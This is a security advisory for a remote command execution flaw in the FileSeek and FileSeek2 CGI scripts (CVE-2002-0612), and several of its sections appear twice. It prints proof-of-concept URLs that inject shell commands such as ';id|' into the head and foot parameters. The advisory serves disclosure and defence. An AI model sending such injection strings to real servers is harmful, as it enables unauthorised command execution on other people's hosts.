FileSeek CGI Script Remote Command Execution Vulnerability
BID:6783
Info
FileSeek CGI Script Remote Command Execution Vulnerability
| Bugtraq ID: | 6783 |
| Class: | Input Validation Error |
| CVE: |
CVE-2002-0612 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 16 2002 12:00AM |
| Updated: | Jul 11 2009 08:06PM |
| Credit: | Discovery of this vulnerability has been credited to Thijs Bosschert ([email protected]) |
| Vulnerable: |
Wiley Computer Publishing Craig Patchett FileSeek2.cgi Wiley Computer Publishing Craig Patchett FileSeek.cgi |
| Not Vulnerable: | |
Discussion
FileSeek CGI Script Remote Command Execution Vulnerability
FileSeek is an example cgi-script from "The CGI/Perl Cookbook from John Wiley &
Sons". The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server.
It has been reported that FileSeek.cgi and FileSeek2.cgi do not filter shell metacharacters from web requests. As a result, it is possible for a remote attacker to execute commands on the shell of a host running the vulnerable script. Commands will be executed with the privileges of the webserver process.
This impact of this vulnerability is that an attacker may gain local, interactive access to the host.
FileSeek is an example cgi-script from "The CGI/Perl Cookbook from John Wiley &
Sons". The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server.
It has been reported that FileSeek.cgi and FileSeek2.cgi do not filter shell metacharacters from web requests. As a result, it is possible for a remote attacker to execute commands on the shell of a host running the vulnerable script. Commands will be executed with the privileges of the webserver process.
This impact of this vulnerability is that an attacker may gain local, interactive access to the host.
Exploit / POC
FileSeek CGI Script Remote Command Execution Vulnerability
The following proof of concept code was provided by Thijs Bosschert ([email protected]):
http://www.example.com/cgi-bin/FileSeek.cgi?head=&foot=;id|
http://www.example.com/cgi-bin/FileSeek.cgi?head=;id|&foot=
http://www.example.com/cgi-bin/FileSeek.cgi?head=&foot=|id|
http://www.example.com/cgi-bin/FileSeek.cgi?head=|id|&foot=
The following proof of concept code was provided by Thijs Bosschert ([email protected]):
http://www.example.com/cgi-bin/FileSeek.cgi?head=&foot=;id|
http://www.example.com/cgi-bin/FileSeek.cgi?head=;id|&foot=
http://www.example.com/cgi-bin/FileSeek.cgi?head=&foot=|id|
http://www.example.com/cgi-bin/FileSeek.cgi?head=|id|&foot=
Solution / Fix
FileSeek CGI Script Remote Command Execution Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
FileSeek CGI Script Remote Command Execution Vulnerability
References:
References:
- FileSeek cgi script Advisory ("Thijs Bosschert"
- FileSeek.cgi Homepage (Craig Patchett)
- Vuln-Dev : FileSeek cgi script advisory (N|ghtHawk